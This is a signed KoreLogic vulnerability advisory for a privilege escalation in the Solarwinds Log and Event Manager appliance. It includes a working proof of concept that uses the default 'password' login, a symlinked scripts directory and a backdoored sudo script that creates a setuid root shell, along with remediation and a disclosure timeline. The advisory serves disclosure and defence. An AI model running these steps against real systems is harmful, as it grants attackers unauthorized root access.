-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 KL-001-2017-005 : Solarwinds LEM Privilege Escalation via Controlled Sudo Path Title: Solarwinds LEM Privilege Escalation via Controlled Sudo Path Advisory ID: KL-001-2017-005 Publication Date: 2017.04.24 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-005.txt 1. Vulnerability Details Affected Vendor: Solarwinds Affected Product: Log and Event Manager Virtual Appliance Affected Version: v6.3.1 Platform: Embedded Linux CWE Classification: CWE-281: Improper Preservation of Permissions, CWE-708: Incorrect Ownership Assignment Impact: Privileged Access Attack vector: SSH 2. Vulnerability Description Due to lax filesystem permissions, an attacker can take control of a hardcoded sudo path in order to execute commands as a privileged user. 3. Technical Description Should an attacker gain access to the SSH console for the cmc user, root access to the underlying operating system can be achieved. The default password for the cmc user is "password". Due to underlying filesystem permissions, it is possible for the cmc user to assume control of a path hardcoded in the sudoers file. The attack is started by moving the scripts directory and creating a symlink to a (now) attacker controlled scripts directory. cmc@swi-lem:/usr/local/contego$ mv scripts scripts.real && mkdir scripts && cd scripts.real && for A in * ; do ln -s ../scripts.real/${A} ../scripts/${A} ; done Next, a file specified in the sudoers file is overwritten and then executed using sudo. cmc@swi-lem:/usr/local/contego/scripts$ diff -u hostname.sh hostname.sh.backdoor --- hostname.sh 2005-07-01 20:10:17.000000000 -0700 +++ hostname.sh.backdoor 2016-12-11 12:20:35.000000000 -0800 @@ -1,5 +1,10 @@ #!/bin/sh +# create a backdoor setuid shell +cp /bin/dash /tmp/sushi +chown root:root /tmp/sushi +chmod 4755 /tmp/sushi + [snip] cmc@swi-lem:/usr/local/contego/scripts$ rm hostname.sh && mv -i hostname.sh.backdoor hostname.sh cmc@swi-lem:/usr/local/contego$ sudo /usr/local/contego/scripts/hostname.sh This results in a suid dash shell being output to /tmp/sushi. cmc@swi-lem:/usr/local/contego$ ls -ld /tmp/sushi -rwsr-xr-x 1 root root 104168 Dec 11 12:21 /tmp/sushi Running this shell results in root privileges. cmc@swi-lem:/usr/local/contego$ /tmp/sushi # id uid=1001(cmc) gid=1000(trigeo) euid=0(root) groups=0(root),4(adm),24(cdrom),25(floppy),104(postgres),105(snort),1000(trigeo),1002(dbadmin) 4. Mitigation and Remediation Recommendation The vendor has released a Hotfix to remediate this vulnerability. Hotfix and installation instructions are available at: https://thwack.solarwinds.com/thread/111223 5. Credit This vulnerability was discovered by Hank Leininger and Matt Bergin (@thatguylevel) of KoreLogic, Inc. 6. Disclosure Timeline 2017.02.16 - KoreLogic sends vulnerability report and PoC to Solarwinds using PGP key with fingerprint A86E 0CF6 9665 0C8C 8A7C C9BA B373 8E9F 951F 918F. 2017.02.20 - Solarwinds replies that the key is no longer in use, requests alternate communication channel. 2017.02.22 - KoreLogic submits vulnerability report and PoC to alternate Solarwinds contact. 2017.02.23 - Solarwinds confirms receipt of vulnerability report. 2017.04.06 - 30 business days have elapsed since Solarwinds acknowledged receipt of vulnerability details. 2017.04.11 - Solarwinds releases hotfix and public disclosure. 2017.04.24 - KoreLogic public disclosure. 7. Proof of Concept See 3. Technical Description The contents of this advisory are copyright(c) 2017 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt -----BEGIN PGP SIGNATURE----- iQFNBAEBCAA4FiEE+cSrtp5jQJEtra70TWWaLA4ZiQwFAlj+VFsaHGRpc2Nsb3N1 cmVzQGtvcmVsb2dpYy5jb20ACgkQTWWaLA4ZiQy6Kgf2Iga15gSoRiNDYo7pWYgT zNCbfOAb4hFyDurMzFdlbB3i4iZK2XFV+BUv1iBoEno+lZ+B1yl2i/bqv9IZsm5w cqnu1UGo+pF5wUlJPuTEcGnJGB3BNagB6wXl9w/sz+8U5RNjt2uFdBrKwiaVxYr8 cW08bTAbF0Mt+CNVVPY28BPXnMgnOobmtKkHtuZUhQ4/UGhTl7Do98gms7KRikVA wl+DjtLMSNYd8bOWLvXfbLQNJtYgXsQHmpGaodkvIA1tbyfK9t9GCiH8qpKZ+h5G 2fa+pCdgteRgh5iM6v2+2k5N0ZS6zYzX9520RRIMHbPDWUey055crFY+7miLYA+M =dvO1 -----END PGP SIGNATURE-----